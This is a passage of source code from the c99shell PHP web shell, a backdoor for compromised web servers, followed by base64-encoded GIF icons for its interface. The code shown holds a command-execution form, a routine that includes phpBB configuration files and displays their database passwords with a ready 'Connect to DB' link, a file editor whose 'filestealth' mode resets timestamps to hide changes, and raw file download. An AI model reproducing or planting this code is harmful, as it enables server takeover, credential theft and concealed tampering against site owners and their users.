  2539.    echo "<b>HEXDUMP:</b><nobr> [<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&fullhexdump=1&d=".urlencode($d)."\">Full</a>] [<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&d=".urlencode($d)."\">Preview</a>]<br><b>Base64: </b>
  2540. <nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=1&d=".urlencode($d)."\">Encode</a>]&nbsp;</nobr>
  2541. <nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=2&d=".urlencode($d)."\">+chunk</a>]&nbsp;</nobr>
  2542. <nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=3&d=".urlencode($d)."\">+chunk+quotes</a>]&nbsp;</nobr>
  2543. <nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=4&d=".urlencode($d)."\">Decode</a>]&nbsp;</nobr>
  2544. <P>";
  2545.   }
  2546.   elseif ($ft == "html")
  2547.   {
  2548.    if ($white) {@ob_clean();}
  2549.    echo $r;
  2550.    if ($white) {c99shexit();}
  2551.   }
  2552.   elseif ($ft == "txt") {echo "<pre>".htmlspecialchars($r)."</pre>";}
  2553.   elseif ($ft == "ini") {echo "<pre>"; var_dump(parse_ini_file($d.$f,true)); echo "</pre>";}
  2554.   elseif ($ft == "phpsess")
  2555.   {
  2556.    echo "<pre>";
  2557.    $v = explode("|",$r);
  2558.    echo $v[0]."<br>";
  2559.    var_dump(unserialize($v[1]));
  2560.    echo "</pre>";
  2561.   }
  2562.   elseif ($ft == "exe")
  2563.   {
  2564.    $ext = explode(".",$f);
  2565.    $c = count($ext)-1;
  2566.    $ext = $ext[$c];
  2567.    $ext = strtolower($ext);
  2568.    $rft = "";
  2569.    foreach($exeftypes as $k=>$v)
  2570.    {
  2571.     if (in_array($ext,$v)) {$rft = $k; break;}
  2572.    }
  2573.    $cmd = str_replace("%f%",$f,$rft);
  2574.    echo "<b>Execute file:</b><form action=\"".$surl."\" method=POST><input type=hidden name=act value=cmd><input type=\"text\" name=\"cmd\" value=\"".htmlspecialchars($cmd)."\" size=\"".(strlen($cmd)+2)."\"><br>Display in text-area<input type=\"checkbox\" name=\"cmd_txt\" value=\"1\" checked><input type=hidden name=\"d\" value=\"".htmlspecialchars($d)."\"><br><input type=submit name=submit value=\"Execute\"></form>";
  2575.   }
  2576.   elseif ($ft == "sdb") {echo "<pre>"; var_dump(unserialize(base64_decode($r))); echo "</pre>";}
  2577.   elseif ($ft == "code")
  2578.   {
  2579.    if (ereg("php"."BB 2.(.*) auto-generated config file",$r))
  2580.    {
  2581.     $arr = explode("\n",$r);
  2582.     if (count($arr == 18))
  2583.     {
  2584.      include($d.$f);
  2585.      echo "<b>phpBB configuration is detected in this file!<br>";
  2586.      if ($dbms == "mysql4") {$dbms = "mysql";}
  2587.      if ($dbms == "mysql") {echo "<a href=\"".$surl."act=sql&sql_server=".htmlspecialchars($dbhost)."&sql_login=".htmlspecialchars($dbuser)."&sql_passwd=".htmlspecialchars($dbpasswd)."&sql_port=3306&sql_db=".htmlspecialchars($dbname)."\"><b><u>Connect to DB</u></b></a><br><br>";}
  2588.      else {echo "But, you can't connect to forum sql-base, because db-software=\"".$dbms."\" is not supported by c99shell. Please, report us for fix.";}
  2589.      echo "Parameters for manual connect:<br>";
  2590.      $cfgvars = array("dbms"=>$dbms,"dbhost"=>$dbhost,"dbname"=>$dbname,"dbuser"=>$dbuser,"dbpasswd"=>$dbpasswd);
  2591.      foreach ($cfgvars as $k=>$v) {echo htmlspecialchars($k)."='".htmlspecialchars($v)."'<br>";}
  2592.      echo "</b><hr size=\"1\" noshade>";
  2593.     }
  2594.    }
  2595.    echo "<div style=\"border : 0px solid #FFFFFF; padding: 1em; margin-top: 1em; margin-bottom: 1em; margin-right: 1em; margin-left: 1em; background-color: ".$highlight_background .";\">";
  2596.    if (!empty($white)) {@ob_clean();}
  2597.    highlight_file($d.$f);
  2598.    if (!empty($white)) {c99shexit();}
  2599.    echo "</div>";
  2600.   }
  2601.   elseif ($ft == "download")
  2602.   {
  2603.    @ob_clean();
  2604.    header("Content-type: application/octet-stream");
  2605.    header("Content-length: ".filesize($d.$f));
  2606.    header("Content-disposition: attachment; filename=\"".$f."\";");
  2607.    echo $r;
  2608.    exit;
  2609.   }
  2610.   elseif ($ft == "notepad")
  2611.   {
  2612.    @ob_clean();
  2613.    header("Content-type: text/plain");
  2614.    header("Content-disposition: attachment; filename=\"".$f.".txt\";");
  2615.    echo($r);
  2616.    exit;
  2617.   }
  2618.   elseif ($ft == "img")
  2619.   {
  2620.    $inf = getimagesize($d.$f);
  2621.    if (!$white)
  2622.    {
  2623.     if (empty($imgsize)) {$imgsize = 20;}
  2624.     $width = $inf[0]/100*$imgsize;
  2625.     $height = $inf[1]/100*$imgsize;
  2626.     echo "<center><b>Size:</b>&nbsp;";
  2627.     $sizes = array("100","50","20");
  2628.     foreach ($sizes as $v)
  2629.     {
  2630.      echo "<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=img&d=".urlencode($d)."&imgsize=".$v."\">";
  2631.      if ($imgsize != $v ) {echo $v;}
  2632.      else {echo "<u>".$v."</u>";}
  2633.      echo "</a>&nbsp;&nbsp;&nbsp;";
  2634.     }
  2635.     echo "<br><br><img src=\"".$surl."act=f&f=".urlencode($f)."&ft=img&white=1&d=".urlencode($d)."\" width=\"".$width."\" height=\"".$height."\" border=\"1\"></center>";
  2636.    }
  2637.    else
  2638.    {
  2639.     @ob_clean();
  2640.     $ext = explode($f,".");
  2641.     $ext = $ext[count($ext)-1];
  2642.     header("Content-type: ".$inf["mime"]);
  2643.     readfile($d.$f);
  2644.     exit;
  2645.    }
  2646.   }
  2647.   elseif ($ft == "edit")
  2648.   {
  2649.    if (!empty($submit))
  2650.    {
  2651.     if ($filestealth) {$stat = stat($d.$f);}
  2652.     $fp = fopen($d.$f,"w");
  2653.     if (!$fp) {echo "<b>Can't write to file!</b>";}
  2654.     else
  2655.     {
  2656.      echo "<b>Saved!</b>";
  2657.      fwrite($fp,$edit_text);
  2658.      fclose($fp);
  2659.      if ($filestealth) {touch($d.$f,$stat[9],$stat[8]);}
  2660.      $r = $edit_text;
  2661.     }
  2662.    }
  2663.    $rows = count(explode("\r\n",$r));
  2664.    if ($rows < 10) {$rows = 10;}
  2665.    if ($rows > 30) {$rows = 30;}
  2666.    echo "<form action=\"".$surl."act=f&f=".urlencode($f)."&ft=edit&d=".urlencode($d)."\" method=POST><input type=submit name=submit value=\"Save\">&nbsp;<input type=\"reset\" value=\"Reset\">&nbsp;<input type=\"button\" onclick=\"location.href='".addslashes($surl."act=ls&d=".substr($d,0,-1))."';\" value=\"Back\"><br><textarea name=\"edit_text\" cols=\"122\" rows=\"".$rows."\">".htmlspecialchars($r)."</textarea></form>";
  2667.   }
  2668.   elseif (!empty($ft)) {echo "<center><b>Manually selected type is incorrect. If you think, it is mistake, please send us url and dump of \$GLOBALS.</b></center>";}
  2669.   else {echo "<center><b>Unknown extension (".$ext."), please, select type manually.</b></center>";}
  2670.  }
  2671. }
  2672. }
  2673. else
  2674. {
  2675.  @ob_clean();
  2676.  $images = array(
  2677. "arrow_ltr"=>
  2678. "R0lGODlhJgAWAIAAAAAAAP///yH5BAUUAAEALAAAAAAmABYAAAIvjI+py+0PF4i0gVvzuVxXDnoQ".
  2679. "SIrUZGZoerKf28KjPNPOaku5RfZ+uQsKh8RiogAAOw==",
  2680. "back"=>
  2681. "R0lGODlhFAAUAKIAAAAAAP///93d3cDAwIaGhgQEBP///wAAACH5BAEAAAYALAAAAAAUABQAAAM8".
  2682. "aLrc/jDKSWWpjVysSNiYJ4CUOBJoqjniILzwuzLtYN/3zBSErf6kBW+gKRiPRghPh+EFK0mOUEqt".
  2683. "Wg0JADs=",
  2684. "buffer"=>
  2685. "R0lGODlhFAAUAKIAAAAAAP////j4+N3d3czMzLKysoaGhv///yH5BAEAAAcALAAAAAAUABQAAANo".
  2686. "eLrcribG90y4F1Amu5+NhY2kxl2CMKwrQRSGuVjp4LmwDAWqiAGFXChg+xhnRB+ptLOhai1crEmD".
  2687. "Dlwv4cEC46mi2YgJQKaxsEGDFnnGwWDTEzj9jrPRdbhuG8Cr/2INZIOEhXsbDwkAOw==",
  2688. "change"=>
  2689. "R0lGODlhFAAUAMQfAL3hj7nX+pqo1ejy/f7YAcTb+8vh+6FtH56WZtvr/RAQEZecx9Ll/PX6/v3+".
  2690. "/3eHt6q88eHu/ZkfH3yVyIuQt+72/kOm99fo/P8AZm57rkGS4Hez6pil9oep3GZmZv///yH5BAEA".
  2691. "AB8ALAAAAAAUABQAAAWf4CeOZGme6NmtLOulX+c4TVNVQ7e9qFzfg4HFonkdJA5S54cbRAoFyEOC".
  2692. "wSiUtmYkkrgwOAeA5zrqaLldBiNMIJeD266XYTgQDm5Rx8mdG+oAbSYdaH4Ga3c8JBMJaXQGBQgA".
  2693. "CHkjE4aQkQ0AlSITan+ZAQqkiiQPj1AFAaMKEKYjD39QrKwKAa8nGQK8Agu/CxTCsCMexsfIxjDL".
  2694. "zMshADs=",
  2695. "delete"=>
  2696. "R0lGODlhFAAUAOZZAPz8/NPFyNgHLs0YOvPz8/b29sacpNXV1fX19cwXOfDw8Kenp/n5+etgeunp".
  2697. "6dcGLMMpRurq6pKSktvb2+/v7+1wh3R0dPnP17iAipxyel9fX7djcscSM93d3ZGRkeEsTevd4LCw".
  2698. "sGRkZGpOU+IfQ+EQNoh6fdIcPeHh4YWFhbJQYvLy8ui+xm5ubsxccOx8kcM4UtY9WeAdQYmJifWv".
  2699. "vHx8fMnJycM3Uf3v8rRue98ONbOzs9YFK5SUlKYoP+Tk5N0oSufn57ZGWsQrR9kIL5CQkOPj42Vl".
  2700. "ZeAPNudAX9sKMPv7+15QU5ubm39/f8e5u4xiatra2ubKz8PDw+pfee9/lMK0t81rfd8AKf///wAA".
  2701. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2702. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5".
  2703. "BAEAAFkALAAAAAAUABQAAAesgFmCg4SFhoeIhiUfIImIMlgQB46GLAlYQkaFVVhSAIZLT5cbEYI4".
  2704. "STo5MxOfhQwBA1gYChckQBk1OwiIALACLkgxJilTBI69RFhDFh4HDJRZVFgPPFBR0FkNWDdMHA8G".
  2705. "BZTaMCISVgMC4IkVWCcaPSi96OqGNFhKI04dgr0QWFcKDL3A4uOIjVZZABxQIWDBLkIEQrRoQsHQ".
  2706. "jwVFHBgiEGQFIgQasYkcSbJQIAA7",
  2707. "download"=>
  2708. "R0lGODlhFAAUALMIAAD/AACAAIAAAMDAwH9/f/8AAP///wAAAP///wAAAAAAAAAAAAAAAAAAAAAA".
  2709. "AAAAACH5BAEAAAgALAAAAAAUABQAAAROEMlJq704UyGOvkLhfVU4kpOJSpx5nF9YiCtLf0SuH7pu".
  2710. "EYOgcBgkwAiGpHKZzB2JxADASQFCidQJsMfdGqsDJnOQlXTP38przWbX3qgIADs=",
  2711. "forward"=>
  2712. "R0lGODlhFAAUAPIAAAAAAP///93d3cDAwIaGhgQEBP///wAAACH5BAEAAAYALAAAAAAUABQAAAM8".
  2713. "aLrc/jDK2Qp9xV5WiN5G50FZaRLD6IhE66Lpt3RDbd9CQFSE4P++QW7He7UKPh0IqVw2l0RQSEqt".
  2714. "WqsJADs=",
  2715. "home"=>
  2716. "R0lGODlhFAAUALMAAAAAAP///+rq6t3d3czMzLKysoaGhmZmZgQEBP///wAAAAAAAAAAAAAAAAAA".
  2717. "AAAAACH5BAEAAAkALAAAAAAUABQAAAR+MMk5TTWI6ipyMoO3cUWRgeJoCCaLoKO0mq0ZxjNSBDWS".
  2718. "krqAsLfJ7YQBl4tiRCYFSpPMdRRCoQOiL4i8CgZgk09WfWLBYZHB6UWjCequwEDHuOEVK3QtgN/j".
  2719. "VwMrBDZvgF+ChHaGeYiCBQYHCH8VBJaWdAeSl5YiW5+goBIRADs=",
  2720. "mode"=>
  2721. "R0lGODlhHQAUALMAAAAAAP///6CgpN3d3czMzIaGhmZmZl9fX////wAAAAAAAAAAAAAAAAAAAAAA".
  2722. "AAAAACH5BAEAAAgALAAAAAAdABQAAASBEMlJq70461m6/+AHZMUgnGiqniNWHHAsz3F7FUGu73xO".
  2723. "2BZcwGDoEXk/Uq4ICACeQ6fzmXTlns0ddle99b7cFvYpER55Z10Xy1lKt8wpoIsACrdaqBpYEYK/".
  2724. "dH1LRWiEe0pRTXBvVHwUd3o6eD6OHASXmJmamJUSY5+gnxujpBIRADs=",
  2725. "refresh"=>
  2726. "R0lGODlhEQAUALMAAAAAAP////Hx8erq6uPj493d3czMzLKysoaGhmZmZl9fXwQEBP///wAAAAAA".
  2727. "AAAAACH5BAEAAAwALAAAAAARABQAAAR1kMlJq0Q460xR+GAoIMvkheIYlMyJBkJ8lm6YxMKi6zWY".
  2728. "3AKCYbjo/Y4EQqFgKIYUh8EvuWQ6PwPFQJpULpunrXZLrYKx20G3oDA7093Esv19q5O/woFu9ZAJ".
  2729. "R3lufmWCVX13h3KHfWWMjGBDkpOUTTuXmJgRADs=",
  2730. "search"=>
  2731. "R0lGODlhFAAUALMAAAAAAP///+rq6t3d3czMzMDAwLKysoaGhnd3d2ZmZl9fX01NTSkpKQQEBP//".
  2732. "/wAAACH5BAEAAA4ALAAAAAAUABQAAASn0Ml5qj0z5xr6+JZGeUZpHIqRNOIRfIYiy+a6vcOpHOap".
  2733. "s5IKQccz8XgK4EGgQqWMvkrSscylhoaFVmuZLgUDAnZxEBMODSnrkhiSCZ4CGrUWMA+LLDxuSHsD".
  2734. "AkN4C3sfBX10VHaBJ4QfA4eIU4pijQcFmCVoNkFlggcMRScNSUCdJyhoDasNZ5MTDVsXBwlviRmr".
  2735. "Cbq7C6sIrqawrKwTv68iyA6rDhEAOw==",
  2736. "setup"=>
  2737. "R0lGODlhFAAUAMQAAAAAAP////j4+OPj493d3czMzMDAwLKyspaWloaGhnd3d2ZmZl9fX01NTUJC".
  2738. "QhwcHP///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEA".
  2739. "ABAALAAAAAAUABQAAAWVICSKikKWaDmuShCUbjzMwEoGhVvsfHEENRYOgegljkeg0PF4KBIFRMIB".
  2740. "qCaCJ4eIGQVoIVWsTfQoXMfoUfmMZrgZ2GNDPGII7gJDLYErwG1vgW8CCQtzgHiJAnaFhyt2dwQE".
  2741. "OwcMZoZ0kJKUlZeOdQKbPgedjZmhnAcJlqaIqUesmIikpEixnyJhulUMhg24aSO6YyEAOw==",
  2742. "small_dir"=>
  2743. "R0lGODlhEwAQALMAAAAAAP///5ycAM7OY///nP//zv/OnPf39////wAAAAAAAAAAAAAAAAAAAAAA".
  2744. "AAAAACH5BAEAAAgALAAAAAATABAAAARREMlJq7046yp6BxsiHEVBEAKYCUPrDp7HlXRdEoMqCebp".
  2745. "/4YchffzGQhH4YRYPB2DOlHPiKwqd1Pq8yrVVg3QYeH5RYK5rJfaFUUA3vB4fBIBADs=",
  2746. "small_unk"=>
  2747. "R0lGODlhEAAQAHcAACH5BAEAAJUALAAAAAAQABAAhwAAAIep3BE9mllic3B5iVpjdMvh/MLc+y1U".
  2748. "p9Pm/GVufc7j/MzV/9Xm/EOm99bn/Njp/a7Q+tTm/LHS+eXw/t3r/Nnp/djo/Nrq/fj7/9vq/Nfo".
  2749. "/Mbe+8rh/Mng+7jW+rvY+r7Z+7XR9dDk/NHk/NLl/LTU+rnX+8zi/LbV++fx/e72/vH3/vL4/u31".
  2750. "/e31/uDu/dzr/Orz/eHu/fX6/vH4/v////v+/3ez6vf7//T5/kGS4Pv9/7XV+rHT+r/b+rza+vP4".
  2751. "/uz0/urz/u71/uvz/dTn/M/k/N3s/dvr/cjg+8Pd+8Hc+sff+8Te+/D2/rXI8rHF8brM87fJ8nmP".
  2752. "wr3N86/D8KvB8F9neEFotEBntENptENptSxUpx1IoDlfrTRcrZeeyZacxpmhzIuRtpWZxIuOuKqz".
  2753. "9ZOWwX6Is3WIu5im07rJ9J2t2Zek0m57rpqo1nKCtUVrtYir3vf6/46v4Yuu4WZvfr7P6sPS6sDQ".
  2754. "66XB6cjZ8a/K79/s/dbn/ezz/czd9mN0jKTB6ai/76W97niXz2GCwV6AwUdstXyVyGSDwnmYz4io".
  2755. "24Oi1a3B45Sy4ae944Ccz4Sj1n2GlgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2756. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2757. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2758. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2759. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2760. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2761. "AAjnACtVCkCw4JxJAQQqFBjAxo0MNGqsABQAh6CFA3nk0MHiRREVDhzsoLQwAJ0gT4ToecSHAYMz".
  2762. "aQgoDNCCSB4EAnImCiSBjUyGLobgXBTpkAA5I6pgmSkDz5cuMSz8yWlAyoCZFGb4SQKhASMBXJpM".
  2763. "uSrQEQwkGjYkQCTAy6AlUMhWklQBw4MEhgSA6XPgRxS5ii40KLFgi4BGTEKAsCKXihESCzrsgSQC".
  2764. "yIkUV+SqOYLCA4csAup86OGDkNw4BpQ4OaBFgB0TEyIUKqDwTRs4a9yMCSOmDBoyZu4sJKCgwIDj".
  2765. "yAsokBkQADs=",
  2766. "multipage"=>"R0lGODlhCgAMAJEDAP/////3mQAAAAAAACH5BAEAAAMALAAAAAAKAAwAAAIj3IR".
  2767. "pJhCODnovidAovBdMzzkixlXdlI2oZpJWEsSywLzRUAAAOw==",
  2768. "sort_asc"=>
  2769. "R0lGODlhDgAJAKIAAAAAAP///9TQyICAgP///wAAAAAAAAAAACH5BAEAAAQALAAAAAAOAAkAAAMa".
  2770. "SLrcPcE9GKUaQlQ5sN5PloFLJ35OoK6q5SYAOw==",
  2771. "sort_desc"=>
  2772. "R0lGODlhDgAJAKIAAAAAAP///9TQyICAgP///wAAAAAAAAAAACH5BAEAAAQALAAAAAAOAAkAAAMb".
  2773. "SLrcOjBCB4UVITgyLt5ch2mgSJZDBi7p6hIJADs=",
  2774. "sql_button_drop"=>
  2775. "R0lGODlhCQALAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A/wD/".
  2776. "/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2777. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBm".
  2778. "AABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/AAD/".
  2779. "MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/zNmADNmMzNm".
  2780. "ZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/ZjP/".
  2781. "mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZm".
  2782. "zGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb/".
  2783. "/5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZ".
  2784. "AJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwA".
  2785. "M8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZ".
  2786. "ZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8A".
  2787. "mf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+Z".
  2788. "zP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAAJAAsA".
  2789. "AAg4AP8JREFQ4D+CCBOi4MawITeFCg/iQhEPxcSBlFCoQ5Fx4MSKv1BgRGGMo0iJFC2ehHjSoMt/".
  2790. "AQEAOw==",
  2791. "sql_button_empty"=>
  2792. "R0lGODlhCQAKAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A/wD/".
  2793. "/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2794. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBm".
  2795. "AABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/AAD/".
  2796. "MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/zNmADNmMzNm".
  2797. "ZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/ZjP/".
  2798. "mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZm".
  2799. "zGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb/".
  2800. "/5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZ".
  2801. "AJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwA".
  2802. "M8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZ".
  2803. "ZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8A".
  2804. "mf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+Z".
  2805. "zP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAAJAAoA".
  2806. "AAgjAP8JREFQ4D+CCBOiMMhQocKDEBcujEiRosSBFjFenOhwYUAAOw==",
  2807. "sql_button_insert"=>
  2808. "R0lGODlhDQAMAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A/wD/".
  2809. "/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2810. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBm".
  2811. "AABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/AAD/".
  2812. "MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/zNmADNmMzNm".
  2813. "ZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/ZjP/".
  2814. "mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZm".
  2815. "zGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb/".
  2816. "/5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZ".
  2817. "AJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwA".
  2818. "M8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZ".
  2819. "ZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8A".
  2820. "mf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+Z".
  2821. "zP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAANAAwA".
  2822. "AAgzAFEIHEiwoMGDCBH6W0gtoUB//1BENOiP2sKECzNeNIiqY0d/FBf+y0jR48eQGUc6JBgQADs=",
  2823. "up"=>
  2824. "R0lGODlhFAAUALMAAAAAAP////j4+OPj493d3czMzLKysoaGhk1NTf///wAAAAAAAAAAAAAAAAAA".
  2825. "AAAAACH5BAEAAAkALAAAAAAUABQAAAR0MMlJq734ns1PnkcgjgXwhcNQrIVhmFonzxwQjnie27jg".
  2826. "+4Qgy3XgBX4IoHDlMhRvggFiGiSwWs5XyDftWplEJ+9HQCyx2c1YEDRfwwfxtop4p53PwLKOjvvV".
  2827. "IXtdgwgdPGdYfng1IVeJaTIAkpOUlZYfHxEAOw==",
  2828. "write"=>
  2829. "R0lGODlhFAAUALMAAAAAAP///93d3czMzLKysoaGhmZmZl9fXwQEBP///wAAAAAAAAAAAAAAAAAA".
  2830. "AAAAACH5BAEAAAkALAAAAAAUABQAAAR0MMlJqyzFalqEQJuGEQSCnWg6FogpkHAMF4HAJsWh7/ze".
  2831. "EQYQLUAsGgM0Wwt3bCJfQSFx10yyBlJn8RfEMgM9X+3qHWq5iED5yCsMCl111knDpuXfYls+IK61".
  2832. "LXd+WWEHLUd/ToJFZQOOj5CRjiCBlZaXIBEAOw==",
  2833. "ext_asp"=>
  2834. "R0lGODdhEAAQALMAAAAAAIAAAACAAICAAAAAgIAAgACAgMDAwICAgP8AAAD/AP//AAAA//8A/wD/".
  2835. "/////ywAAAAAEAAQAAAESvDISasF2N6DMNAS8Bxfl1UiOZYe9aUwgpDTq6qP/IX0Oz7AXU/1eRgI".
  2836. "D6HPhzjSeLYdYabsDCWMZwhg3WWtKK4QrMHohCAS+hABADs=",
  2837. "ext_mp3"=>
  2838. "R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP///4CAgMDAwICAAP//AAAAAAAAAANU".
  2839. "aGrS7iuKQGsYIqpp6QiZRDQWYAILQQSA2g2o4QoASHGwvBbAN3GX1qXA+r1aBQHRZHMEDSYCz3fc".
  2840. "IGtGT8wAUwltzwWNWRV3LDnxYM1ub6GneDwBADs=",
  2841. "ext_avi"=>
  2842. "R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAggAAAP///4CAgMDAwP8AAAAAAAAAAAAAAANM".
  2843. "WFrS7iuKQGsYIqpp6QiZ1FFACYijB4RMqjbY01DwWg44gAsrP5QFk24HuOhODJwSU/IhBYTcjxe4".
  2844. "PYXCyg+V2i44XeRmSfYqsGhAAgA7",
  2845. "ext_cgi"=>
  2846. "R0lGODlhEAAQAGYAACH5BAEAAEwALAAAAAAQABAAhgAAAJtqCHd3d7iNGa+HMu7er9GiC6+IOOu9".
  2847. "DkJAPqyFQql/N/Dlhsyyfe67Af/SFP/8kf/9lD9ETv/PCv/cQ//eNv/XIf/ZKP/RDv/bLf/cMah6".
  2848. "LPPYRvzgR+vgx7yVMv/lUv/mTv/fOf/MAv/mcf/NA//qif/MAP/TFf/xp7uZVf/WIP/OBqt/Hv/S".
  2849. "Ev/hP+7OOP/WHv/wbHNfP4VzV7uPFv/pV//rXf/ycf/zdv/0eUNJWENKWsykIk9RWMytP//4iEpQ".
  2850. "Xv/9qfbptP/uZ93GiNq6XWpRJ//iQv7wsquEQv/jRAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2851. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
